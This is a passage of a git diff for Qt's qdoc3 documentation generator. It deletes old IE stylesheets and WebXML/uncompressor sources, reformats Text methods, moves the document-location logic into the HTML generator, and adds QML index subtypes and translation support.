-        display: none;
-        background: none;
-    }
-    .content
-    {
-        position: absolute;
-        top: 0px;
-        left: 0px;
-        background: none;
-        display: block;
-    }
-}
-/* end of print media */
diff --git a/tools/qdoc3/test/style/style_ie6.css b/tools/qdoc3/test/style/style_ie6.css
deleted file mode 100644
index 16fb850..0000000
--- a/tools/qdoc3/test/style/style_ie6.css
+++ /dev/null
@@ -1,54 +0,0 @@
-.indexbox, .indexboxcont, .group {
-  zoom: 1;
-  height: 1%;
-}
-
-.sidebar {
-  margin-left: 3px;
-  width: 199px;
-  overflow: hidden;
-}
-
-.sidebar .search form {
-  position: relative;
-}
-
-.sidebar .search form fieldset {
-  position: absolute;
-  margin-top: -1px;
-}
-
-.sidebar .search form input#searchstring  {
-  border: 1px solid #fff;
-  height: 18px;
-}
-
-.wrap {
-  zoom: 1;
-}
-
-.content,
-.toolbar {
-  zoom: 1;
-  margin-left: -3px;
-  position: relative;
-}
-
-.indexbox {
-  clear: both;
-}
-
-.indexboxcont .section {
-  zoom: 1;
-  float: left;
-}
-
-.indexboxcont .sectionlist {
-  zoom: 1;
-  float: left;
-}
-
-.wrap .toolbar .toolbuttons li {
-  text-indent: 0;
-  margin-right: 8px;
-}
\ No newline at end of file
diff --git a/tools/qdoc3/test/style/style_ie7.css b/tools/qdoc3/test/style/style_ie7.css
deleted file mode 100644
index afbff5f..0000000
--- a/tools/qdoc3/test/style/style_ie7.css
+++ /dev/null
@@ -1,19 +0,0 @@
-.indexbox, .indexboxcont, .group {
-  min-height: 1px;
-}
-
-.sidebar .search form input#searchstring  {
-  border: 1px solid #fff;
-  height: 17px;
-}
-
-
-.indexboxcont .section {
-  zoom: 1;
-  float: left;
-}
-
-.indexboxcont .sectionlist {
-  zoom: 1;
-  float: left;
-}
diff --git a/tools/qdoc3/test/style/style_ie8.css b/tools/qdoc3/test/style/style_ie8.css
deleted file mode 100644
index e69de29..0000000
--- a/tools/qdoc3/test/style/style_ie8.css
+++ /dev/null
diff --git a/tools/qdoc3/text.cpp b/tools/qdoc3/text.cpp
index dba3a1d..e9a97fe 100644
--- a/tools/qdoc3/text.cpp
+++ b/tools/qdoc3/text.cpp
@@ -60,10 +60,10 @@ Text::Text(const QString &str)
     operator<<(str);
 }
 
-Text::Text( const Text& text )
+Text::Text(const Text& text)
     : first(0), last(0)
 {
-    operator=( text );
+    operator=(text);
 }
 
 Text::~Text()
@@ -71,41 +71,41 @@ Text::~Text()
     clear();
 }
 
-Text& Text::operator=( const Text& text )
+Text& Text::operator=(const Text& text)
 {
-    if ( this != &text ) {
+    if (this != &text) {
 	clear();
-	operator<<( text );
+	operator<<(text);
     }
     return *this;
 }
 
-Text& Text::operator<<( Atom::Type atomType )
+Text& Text::operator<<(Atom::Type atomType)
 {
-    return operator<<( Atom(atomType) );
+    return operator<<(Atom(atomType));
 }
 
-Text& Text::operator<<( const QString& string )
+Text& Text::operator<<(const QString& string)
 {
-    return operator<<( Atom(Atom::String, string) );
+    return operator<<(Atom(Atom::String, string));
 }
 
-Text& Text::operator<<( const Atom& atom )
+Text& Text::operator<<(const Atom& atom)
 {
-    if ( first == 0 ) {
-	first = new Atom( atom.type(), atom.string() );
+    if (first == 0) {
+	first = new Atom(atom.type(), atom.string());
 	last = first;
     } else {
-	last = new Atom( last, atom.type(), atom.string() );
+	last = new Atom(last, atom.type(), atom.string());
     }
     return *this;
 }
 
-Text& Text::operator<<( const Text& text )
+Text& Text::operator<<(const Text& text)
 {
-    const Atom *atom = text.firstAtom();
-    while ( atom != 0 ) {
-	operator<<( *atom );
+    const Atom* atom = text.firstAtom();
+    while (atom != 0) {
+	operator<<(*atom);
 	atom = atom->next();
     }
     return *this;
@@ -113,10 +113,10 @@ Text& Text::operator<<( const Text& text )
 
 void Text::stripFirstAtom()
 {
-    if ( first != 0 ) {
-	if ( first == last )
+    if (first != 0) {
+	if (first == last)
 	    last = 0;
-	Atom *oldFirst = first;
+	Atom* oldFirst = first;
 	first = first->next();
 	delete oldFirst;
     }
@@ -124,16 +124,16 @@ void Text::stripFirstAtom()
 
 void Text::stripLastAtom()
 {
-    if ( last != 0 ) {
-	Atom *oldLast = last;
-	if ( first == last ) {
+    if (last != 0) {
+	Atom* oldLast = last;
+	if (first == last) {
 	    first = 0;
 	    last = 0;
 	} else {
 	    last = first;
-	    while ( last->next() != oldLast )
+	    while (last->next() != oldLast)
 		last = last->next();
-	    last->setNext( 0 );
+	    last->setNext(0);
 	}
 	delete oldLast;
     }
@@ -142,59 +142,65 @@ void Text::stripLastAtom()
 QString Text::toString() const
 {
     QString str;
-    const Atom *atom = firstAtom();
-    while ( atom != 0 ) {
-	if ( atom->type() == Atom::String || atom->type() == Atom::AutoLink )
+    const Atom* atom = firstAtom();
+    while (atom != 0) {
+	if (atom->type() == Atom::String ||
+             atom->type() == Atom::AutoLink ||
+             atom->type() == Atom::GuidLink)
 	    str += atom->string();
 	atom = atom->next();
     }
     return str;
 }
 
-Text Text::subText( Atom::Type left, Atom::Type right, const Atom *from ) const
+Text Text::subText(Atom::Type left, Atom::Type right, const Atom* from, bool inclusive) const
 {
-    const Atom *begin = from ? from : firstAtom();
-    const Atom *end;
+    const Atom* begin = from ? from : firstAtom();
+    const Atom* end;
 
-    while ( begin != 0 && begin->type() != left )
-	begin = begin->next();
-    if ( begin != 0 )
+    while (begin != 0 && begin->type() != left)
 	begin = begin->next();
+    if (begin != 0) {
+        if (!inclusive)
+            begin = begin->next();
+    }
 
     end = begin;
-    while ( end != 0 && end->type() != right )
+    while (end != 0 && end->type() != right)
 	end = end->next();
-    if ( end == 0 )
+    if (end == 0)
 	begin = 0;
-    return subText( begin, end );
+    else if (inclusive)
+        end = end->next();
+    return subText(begin, end);
 }
 
-Text Text::sectionHeading(const Atom *sectionLeft)
+Text Text::sectionHeading(const Atom* sectionLeft)
 {
-    if ( sectionLeft != 0 ) {
-	const Atom *begin = sectionLeft;
-	while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft )
+    if (sectionLeft != 0) {
+	const Atom* begin = sectionLeft;
+	while (begin != 0 && begin->type() != Atom::SectionHeadingLeft)
 	    begin = begin->next();
-	if ( begin != 0 )
+	if (begin != 0)
 	    begin = begin->next();
 
-	const Atom *end = begin;
-	while ( end != 0 && end->type() != Atom::SectionHeadingRight )
+	const Atom* end = begin;
+	while (end != 0 && end->type() != Atom::SectionHeadingRight)
 	    end = end->next();
 
-	if ( end != 0 )
-	    return subText( begin, end );
+	if (end != 0)
+	    return subText(begin, end);
     }
     return Text();
 }
 
-const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft)
+const Atom* Text::sectionHeadingAtom(const Atom* sectionLeft)
 {
-    if ( sectionLeft != 0 ) {
-	const Atom *begin = sectionLeft;
-	while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft )
+    if (sectionLeft != 0) {
+	const Atom* begin = sectionLeft;
+	while (begin != 0 && begin->type() != Atom::SectionHeadingLeft)
 	    begin = begin->next();
-	if ( begin != 0 )
+	if (begin != 0)
 	    begin = begin->next();
 
 	return begin;
@@ -204,25 +210,25 @@ const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft)
 
 void Text::dump() const
 {
-    const Atom *atom = firstAtom();
-    while ( atom != 0 ) {
+    const Atom* atom = firstAtom();
+    while (atom != 0) {
 	QString str = atom->string();
-	str.replace( "\\", "\\\\" );
-	str.replace( "\"", "\\\"" );
-	str.replace( "\n", "\\n" );
-	str.replace( QRegExp("[^\x20-\x7e]"), "?" );
-	if ( !str.isEmpty() )
+	str.replace("\\", "\\\\");
+	str.replace("\"", "\\\"");
+	str.replace("\n", "\\n");
+	str.replace(QRegExp("[^\x20-\x7e]"), "?");
+	if (!str.isEmpty())
 	    str = " \"" + str + "\"";
-	fprintf(stderr, "    %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data() );
+	fprintf(stderr, "    %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data());
 	atom = atom->next();
     }
 }
 
-Text Text::subText( const Atom *begin, const Atom *end )
+Text Text::subText(const Atom* begin, const Atom* end)
 {
     Text text;
-    if ( begin != 0 ) {
-	while ( begin != end ) {
+    if (begin != 0) {
+	while (begin != end) {
 	    text << *begin;
 	    begin = begin->next();
 	}
@@ -232,8 +238,8 @@ Text Text::subText( const Atom *begin, const Atom *end )
 
 void Text::clear()
 {
-    while ( first != 0 ) {
-	Atom *atom = first;
+    while (first != 0) {
+	Atom* atom = first;
 	first = first->next();
 	delete atom;
     }
@@ -248,8 +254,8 @@ int Text::compare(const Text &text1, const Text &text2)
     if (text2.isEmpty())
 	return 1;
 
-    const Atom *atom1 = text1.firstAtom();
-    const Atom *atom2 = text2.firstAtom();
+    const Atom* atom1 = text1.firstAtom();
+    const Atom* atom2 = text2.firstAtom();
 
     for (;;) {
 	if (atom1->type() != atom2->type())
diff --git a/tools/qdoc3/text.h b/tools/qdoc3/text.h
index e2c81ac..c88ed62 100644
--- a/tools/qdoc3/text.h
+++ b/tools/qdoc3/text.h
@@ -73,7 +73,7 @@ class Text
     QString toString() const;
     const Atom *firstAtom() const { return first; }
     const Atom *lastAtom() const { return last; }
-    Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0) const;
+    Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0, bool inclusive = false) const;
     void dump() const;
     void clear();
 
diff --git a/tools/qdoc3/tokenizer.cpp b/tools/qdoc3/tokenizer.cpp
index 9f116b1..4b35705 100644
--- a/tools/qdoc3/tokenizer.cpp
+++ b/tools/qdoc3/tokenizer.cpp
@@ -42,7 +42,6 @@
 #include "config.h"
 #include "tokenizer.h"
 
-#include <qdebug.h>
 #include <qfile.h>
 #include <qhash.h>
 #include <qregexp.h>
diff --git a/tools/qdoc3/tr.h b/tools/qdoc3/tr.h
index 956fbc9..89b7ef4 100644
--- a/tools/qdoc3/tr.h
+++ b/tools/qdoc3/tr.h
@@ -46,14 +46,26 @@
 #ifndef TR_H
 #define TR_H
 
+#ifndef QT_BOOTSTRAPPED
+#  include "qcoreapplication.h"
+#endif
+
 #include <qstring.h>
 
 QT_BEGIN_NAMESPACE
 
-inline QString tr( const char *sourceText, const char * /* comment */ = 0 )
+#if defined(QT_BOOTSTRAPPED) || defined(QT_NO_TRANSLATION)
+inline QString tr(const char *sourceText, const char *comment = 0)
 {
+    Q_UNUSED(comment);
     return QString( QLatin1String(sourceText) );
 }
+#else
+inline QString tr(const char *sourceText, const char *comment = 0)
+{
+    return QCoreApplication::instance()->translate("", sourceText, comment);
+}
+#endif
 
 QT_END_NAMESPACE
 
diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp
index 4217397..fb4e9f5 100644
--- a/tools/qdoc3/tree.cpp
+++ b/tools/qdoc3/tree.cpp
@@ -54,7 +54,6 @@
 #include "tree.h"
 
 #include <limits.h>
-#include <qdebug.h>
 
 QT_BEGIN_NAMESPACE
 
@@ -591,12 +590,6 @@ void Tree::resolveGroups()
         if (fake && fake->subType() == Node::Group) {
             fake->addGroupMember(i.value());
         }
-#if 0        
-        else {
-            if (prevGroup != i.key())
-                i.value()->doc().location().warning(tr("No such group '%1'").arg(i.key()));
-        }
-#endif        
 
         prevGroup = i.key();
     }
@@ -812,6 +805,12 @@ void Tree::readIndexSection(const QDomElement &element,
             subtype = Node::Page;
         else if (element.attribute("subtype") == "externalpage")
             subtype = Node::ExternalPage;
+        else if (element.attribute("subtype") == "qmlclass")
+            subtype = Node::QmlClass;
+        else if (element.attribute("subtype") == "qmlpropertygroup")
+            subtype = Node::QmlPropertyGroup;
+        else if (element.attribute("subtype") == "qmlbasictype")
+            subtype = Node::QmlBasicType;
         else
             return;
 
@@ -1227,7 +1226,7 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer,
     QString fullName = fullDocumentName(node);
     if (fullName != objName)
         writer.writeAttribute("fullname", fullName);
-    writer.writeAttribute("href", fullDocumentLocation(node));
+    writer.writeAttribute("href", HtmlGenerator::fullDocumentLocation(node));
     if ((node->type() != Node::Fake) && (!node->isQmlNode()))
         writer.writeAttribute("location", node->location().fileName());
 
@@ -1365,6 +1364,8 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer,
         {
             const QmlPropertyNode *qpn = static_cast<const QmlPropertyNode*>(node);
             writer.writeAttribute("type", qpn->dataType());
+            writer.writeAttribute("attached", qpn->isAttached() ? "true" : "false");
+            writer.writeAttribute("writable", qpn->isWritable(this) ? "true" : "false");
         }
         break;
     case Node::Property:
@@ -1735,7 +1736,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer,
 
         if (node->type() == Node::Class) {
             writer.writeTextElement("name", fullDocumentName(node));
-            writer.writeTextElement("filename", fullDocumentLocation(node));
+            writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node));
 
             // Classes contain information about their base classes.
             const ClassNode *classNode = static_cast<const ClassNode*>(node);
@@ -1753,7 +1754,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer,
             generateTagFileCompounds(writer, static_cast<const InnerNode *>(node));
         } else {
             writer.writeTextElement("name", fullDocumentName(node));
-            writer.writeTextElement("filename", fullDocumentLocation(node));
+            writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node));
 
             // Recurse to write all members.
             generateTagFileMembers(writer, static_cast<const InnerNode *>(node));
@@ -1874,7 +1875,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
                                             "virtual " + functionNode->returnType());
 
                 writer.writeTextElement("name", objName);
-                QStringList pieces = fullDocumentLocation(node).split("#");
+                QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
                 writer.writeTextElement("anchorfile", pieces[0]);
                 writer.writeTextElement("anchor", pieces[1]);
 
@@ -1914,7 +1915,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
                 const PropertyNode *propertyNode = static_cast<const PropertyNode*>(node);
                 writer.writeAttribute("type", propertyNode->dataType());
                 writer.writeTextElement("name", objName);
-                QStringList pieces = fullDocumentLocation(node).split("#");
+                QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
                 writer.writeTextElement("anchorfile", pieces[0]);
                 writer.writeTextElement("anchor", pieces[1]);
                 writer.writeTextElement("arglist", "");
@@ -1926,7 +1927,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
             {
                 const EnumNode *enumNode = static_cast<const EnumNode*>(node);
                 writer.writeTextElement("name", objName);
-                QStringList pieces = fullDocumentLocation(node).split("#");
+                QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
                 writer.writeTextElement("anchor", pieces[1]);
                 writer.writeTextElement("arglist", "");
                 writer.writeEndElement(); // member
@@ -1950,7 +1951,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
                 else
                     writer.writeAttribute("type", "");
                 writer.writeTextElement("name", objName);
-                QStringList pieces = fullDocumentLocation(node).split("#");
+                QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
                 writer.writeTextElement("anchorfile", pieces[0]);
                 writer.writeTextElement("anchor", pieces[1]);
                 writer.writeTextElement("arglist", "");
@@ -2002,160 +2003,6 @@ void Tree::addExternalLink(const QString &url, const Node *relative)
 }
 
 /*!
-  Returns the full document location for HTML-based documentation.
-  This should be moved into the HTML generator.
- */
-QString Tree::fullDocumentLocation(const Node *node) const
-{
-    if (!node)
-        return "";
-    if (!node->url().isEmpty())
-        return node->url();
-
-    QString parentName;
-    QString anchorRef;
-
-    if (node->type() == Node::Namespace) {
-
-        // The root namespace has no name - check for this before creating
-        // an attribute containing the location of any documentation.
-
-        if (!node->fileBase().isEmpty())
-            parentName = node->fileBase() + ".html";
-        else
-            return "";
-    }
-    else if (node->type() == Node::Fake) {
-#ifdef QDOC_QML
-        if ((node->subType() == Node::QmlClass) ||
-            (node->subType() == Node::QmlBasicType)) {
-            QString fb = node->fileBase();
-            if (fb.startsWith(QLatin1String("qml-")))
-                return fb + ".html";
-            else
-                return "qml-" + node->fileBase() + ".html";
-        } else
-#endif
-        parentName = node->fileBase() + ".html";
-    }
-    else if (node->fileBase().isEmpty())
-        return "";
-
-    Node *parentNode = 0;
-
-    if ((parentNode = node->relates()))
-        parentName = fullDocumentLocation(node->relates());
-    else if ((parentNode = node->parent())) {
-        if (parentNode->subType() == Node::QmlPropertyGroup) {
-            parentNode = parentNode->parent();
-            parentName = fullDocumentLocation(parentNode);
-        }
-        else
-            parentName = fullDocumentLocation(node->parent());
-    }
-#if 0
-    if (node->type() == Node::QmlProperty) {
-        qDebug() << "Node::QmlProperty:" << node->name()
-                 << "parentName:" << parentName;
-        if (parentNode)
-            qDebug() << "PARENT NODE" << parentNode->type()
-                     << parentNode->subType() << parentNode->name();
-    }
-#endif
-    switch (node->type()) {
-        case Node::Class:
-        case Node::Namespace:
-            if (parentNode && !parentNode->name().isEmpty())
-                parentName = parentName.replace(".html", "") + "-"
-                           + node->fileBase().toLower() + ".html";
-            else
-                parentName = node->fileBase() + ".html";
-            break;
-        case Node::Function:
-            {
-                /*
-                  Functions can be destructors, overloaded, or
-                  have associated properties.
-                */
-                const FunctionNode *functionNode =
-                    static_cast<const FunctionNode *>(node);
-
-                if (functionNode->metaness() == FunctionNode::Dtor)
-                    anchorRef = "#dtor." + functionNode->name().mid(1);
-
-                else if (functionNode->associatedProperty())
-                    return fullDocumentLocation(functionNode->associatedProperty());
-
-                else if (functionNode->overloadNumber() > 1)
-                    anchorRef = "#" + functionNode->name()
-                              + "-" + QString::number(functionNode->overloadNumber());
-                else
-                    anchorRef = "#" + functionNode->name();
-            }
-
-            /*
-              Use node->name() instead of node->fileBase() as
-              the latter returns the name in lower-case. For
-              HTML anchors, we need to preserve the case.
-            */
-            break;
-        case Node::Enum:
-            anchorRef = "#" + node->name() + "-enum";
-            break;
-        case Node::Typedef:
-            anchorRef = "#" + node->name() + "-typedef";
-            break;
-        case Node::Property:
-            anchorRef = "#" + node->name() + "-prop";
-            break;
-        case Node::QmlProperty:
-            anchorRef = "#" + node->name() + "-prop";
-            break;
-        case Node::QmlSignal:
-            anchorRef = "#" + node->name() + "-signal";
-            break;
-        case Node::QmlMethod:
-            anchorRef = "#" + node->name() + "-method";
-            break;
-        case Node::Variable:
-            anchorRef = "#" + node->name() + "-var";
-            break;
-        case Node::Target:
-            anchorRef = "#" + Doc::canonicalTitle(node->name());
-            break;
-        case Node::Fake:
-            {
-            /*
-              Use node->fileBase() for fake nodes because they are represented
-              by pages whose file names are lower-case.
-            */
-            parentName = node->fileBase();
-            parentName.replace("/", "-").replace(".", "-");
-            parentName += ".html";
-            }
-            break;
-        default:
-            break;
-    }
-
-    // Various objects can be compat (deprecated) or obsolete.
-    if (node->type() != Node::Class && node->type() != Node::Namespace) {
-        switch (node->status()) {
-        case Node::Compat:
-            parentName.replace(".html", "-qt3.html");
-            break;
-        case Node::Obsolete:
-            parentName.replace(".html", "-obsolete.html");
-            break;
-        default:
-            ;
-        }
-    }
-
-    return parentName.toLower() + anchorRef;
-}
-
-/*!
   Construct the full document name for \a node and return the
   name.
  */
diff --git a/tools/qdoc3/uncompressor.cpp b/tools/qdoc3/uncompressor.cpp
deleted file mode 100644
index af80ee9..0000000
--- a/tools/qdoc3/uncompressor.cpp
+++ /dev/null
@@ -1,108 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  uncompressor.cpp
-*/
-
-#include "uncompressor.h"
-
-QT_BEGIN_NAMESPACE
-
-QList<Uncompressor *> Uncompressor::uncompressors;
-
-
-/*!
-  \class Uncompressor
-  
-  \brief The Uncompressor class is a base class for classes that
-  know how to uncompress a certain kind of compressed file.
-
-  The uncompressor contains a list of the filename extensions
-  of the file types that the uncompressor knows how to uncompress.
-
-  It maintains a static list of all the instances of Uncompressor
-  that have been created. It also has a static function for searching
-  that list to find the uncompressor to use for uncompressing a file
-  with a certain extension.
- */
-
-/*!
-  The constructor takes a list of filename extensions, which it
-  copies and saves internally. This uncompressor is prepended
-  to the stack list.
- */
-Uncompressor::Uncompressor( const QStringList& extensions )
-    : fileExts( extensions )
-{
-    uncompressors.prepend( this );
-}
-
-/*!
-  The destructor deletes all the filename extensions.
- */
-Uncompressor::~Uncompressor()
-{
-    uncompressors.removeAll( this );
-}
-
-/*!
-  This function searches the static list of uncompressors to find the
-  first one that can handle \a fileName. If it finds an acceptable
-  uncompressor, it returns a pointer to it. Otherwise it returns null.
-*/
-Uncompressor*
-Uncompressor::uncompressorForFileName( const QString& fileName )
-{
-    int dot = -1;
-    while ( (dot = fileName.indexOf(".", dot + 1)) != -1 ) {
-        QString ext = fileName.mid( dot + 1 );
-        QList<Uncompressor *>::ConstIterator u = uncompressors.begin();
-        while ( u != uncompressors.end() ) {
-            if ( (*u)->fileExtensions().contains(ext) )
-                return *u;
-            ++u;
-        }
-    }
-    return 0;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/webxmlgenerator.cpp b/tools/qdoc3/webxmlgenerator.cpp
deleted file mode 100644
index c639e50..0000000
--- a/tools/qdoc3/webxmlgenerator.cpp
+++ /dev/null
@@ -1,1195 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  webxmlgenerator.cpp
-*/
-
-#include "codemarker.h"
-#include "pagegenerator.h"
-#include "webxmlgenerator.h"
-#include "node.h"
-#include "separator.h"
-#include "tree.h"
-
-#include <QtCore/qxmlstream.h>
-
-QT_BEGIN_NAMESPACE
-
-#define COMMAND_VERSION                 Doc::alias("version")
-
-WebXMLGenerator::WebXMLGenerator()
-    : PageGenerator()
-{
-}
-
-WebXMLGenerator::~WebXMLGenerator()
-{
-}
-
-void WebXMLGenerator::initializeGenerator(const Config &config)
-{
-    Generator::initializeGenerator(config);
-
-    project = config.getString(CONFIG_PROJECT);
-
-    projectDescription = config.getString(CONFIG_DESCRIPTION);
-    if (projectDescription.isEmpty() && !project.isEmpty())
-        projectDescription = project + " Reference Documentation";
-
-    projectUrl = config.getString(CONFIG_URL);
-
-    generateIndex = config.getBool(CONFIG_GENERATEINDEX);
-}
-
-void WebXMLGenerator::terminateGenerator()
-{
-    PageGenerator::terminateGenerator();
-}
-
-QString WebXMLGenerator::format()
-{
-    return "WebXML";
-}
-
-QString WebXMLGenerator::fileExtension(const Node * /* node */) const
-{
-    return "xml";
-}
-
-void WebXMLGenerator::generateTree(const Tree *tree, CodeMarker *marker)
-{
-    tre = tree;
-    moduleClassMap.clear();
-    moduleNamespaceMap.clear();
-    serviceClasses.clear();
-    findAllClasses(tree->root());
-    findAllNamespaces(tree->root());
-
-    PageGenerator::generateTree(tree, marker);
-
-    if (generateIndex)
-        tre->generateIndex(outputDir() + "/" + project.toLower() + ".index",
-                           projectUrl, projectDescription, false);
-}
-
-void WebXMLGenerator::startText(const Node *relative, CodeMarker *marker)
-{
-    inLink = false;
-    inContents = false;
-    inSectionHeading = false;
-    numTableRows = 0;
-    sectionNumber.clear();
-    PageGenerator::startText(relative, marker);
-}
-
-int WebXMLGenerator::generateAtom(QXmlStreamWriter &writer, const Atom *atom,
-                                  const Node *relative, CodeMarker *marker)
-{
-    Q_UNUSED(writer);
-
-    int skipAhead = 0;
-
-    switch (atom->type()) {
-    default:
-        PageGenerator::generateAtom(atom, relative, marker);
-    }
-    return skipAhead;
-}
-
-void WebXMLGenerator::generateClassLikeNode(const InnerNode *inner,
-                                            CodeMarker *marker)
-{
-    QByteArray data;
-    QXmlStreamWriter writer(&data);
-    writer.setAutoFormatting(true);
-    writer.writeStartDocument();
-    writer.writeStartElement("WebXML");
-    writer.writeStartElement("document");
-
-    generateIndexSections(writer, inner, marker);
-
-    writer.writeEndElement(); // document
-    writer.writeEndElement(); // WebXML
-    writer.writeEndDocument();
-
-    out() << data;
-    out().flush();
-}
-
-void WebXMLGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
-{
-    QByteArray data;
-    QXmlStreamWriter writer(&data);
-    writer.setAutoFormatting(true);
-    writer.writeStartDocument();
-    writer.writeStartElement("WebXML");
-    writer.writeStartElement("document");
-
-    generateIndexSections(writer, fake, marker);
-
-    writer.writeEndElement(); // document
-    writer.writeEndElement(); // WebXML
-    writer.writeEndDocument();
-
-    out() << data;
-    out().flush();
-}
-
-void WebXMLGenerator::generateIndexSections(QXmlStreamWriter &writer,
-                                 const Node *node, CodeMarker *marker)
-{
-    if (tre->generateIndexSection(writer, node, true)) {
-
-        // Add documentation to this node if it exists.
-        writer.writeStartElement("description");
-        writer.writeAttribute("path", node->doc().location().filePath());
-        writer.writeAttribute("line", QString::number(node->doc().location().lineNo()));
-        writer.writeAttribute("column", QString::number(node->doc().location().columnNo()));
-
-        if (node->type() == Node::Fake) {
-
-            const FakeNode *fake = static_cast<const FakeNode *>(node);
-
-            generateRelations(writer, node, marker);
-
-            if (fake->subType() == Node::Module) {
-                writer.writeStartElement("generatedlist");
-                writer.writeAttribute("contents", "classesbymodule");
-
-                if (moduleNamespaceMap.contains(fake->name())) {
-                    writer.writeStartElement("section");
-                    writer.writeStartElement("heading");
-                    writer.writeAttribute("level", "1");
-                    writer.writeCharacters("Namespaces");
-                    writer.writeEndElement(); // heading
-                    generateAnnotatedList(writer, fake, marker, moduleNamespaceMap[fake->name()]);
-                    writer.writeEndElement(); // section
-                }
-                if (moduleClassMap.contains(fake->name())) {
-                    writer.writeStartElement("section");
-                    writer.writeStartElement("heading");
-                    writer.writeAttribute("level", "1");
-                    writer.writeCharacters("Classes");
-                    writer.writeEndElement(); // heading
-                    generateAnnotatedList(writer, fake, marker, moduleClassMap[fake->name()]);
-                    writer.writeEndElement(); // section
-                }
-
-                writer.writeEndElement(); // generatedlist
-            }
-        }
-
-        startText(node, marker);
-
-        const Atom *atom = node->doc().body().firstAtom();
-        while (atom)
-            atom = addAtomElements(writer, atom, node, marker);
-
-        QList<Text> alsoList = node->doc().alsoList();
-        supplementAlsoList(node, alsoList);
-
-        if (!alsoList.isEmpty()) {
-            writer.writeStartElement("see-also");
-            for (int i = 0; i < alsoList.size(); ++i) {
-                const Atom *atom = alsoList.at(i).firstAtom();
-                while (atom)
-                    atom = addAtomElements(writer, atom, node, marker);
-            }
-            writer.writeEndElement(); // see-also
-        }
-
-        writer.writeEndElement(); // description
-
-        if (node->isInnerNode()) {
-            const InnerNode *inner = static_cast<const InnerNode *>(node);
-
-            // Recurse to generate an element for this child node and all its children.
-            foreach (const Node *child, inner->childNodes())
-                generateIndexSections(writer, child, marker);
-
-            writer.writeStartElement("related");
-            if (inner->relatedNodes().size() > 0) {
-                foreach (const Node *child, inner->relatedNodes())
-                    generateIndexSections(writer, child, marker);
-            }
-            writer.writeEndElement(); // related
-        }
-        writer.writeEndElement();
-    }
-}
-
-void WebXMLGenerator::generateInnerNode(const InnerNode *node, CodeMarker *marker)
-{
-    if (!node->url().isNull())
-        return;
-
-    if (node->type() == Node::Fake) {
-        const FakeNode *fakeNode = static_cast<const FakeNode *>(node);
-        if (fakeNode->subType() == Node::ExternalPage)
-            return;
-    }
-
-    if ( node->parent() != 0 ) {
-	beginSubPage( node->location(), fileName(node) );
-	if ( node->type() == Node::Namespace || node->type() == Node::Class) {
-	    generateClassLikeNode(node, marker);
-	} else if ( node->type() == Node::Fake ) {
-	    generateFakeNode(static_cast<const FakeNode *>(node), marker);
-	}
-	endSubPage();
-    }
-
-    NodeList::ConstIterator c = node->childNodes().begin();
-    while ( c != node->childNodes().end() ) {
-	if ((*c)->isInnerNode() && (
-            (*c)->access() != Node::Private || (*c)->status() == Node::Internal))
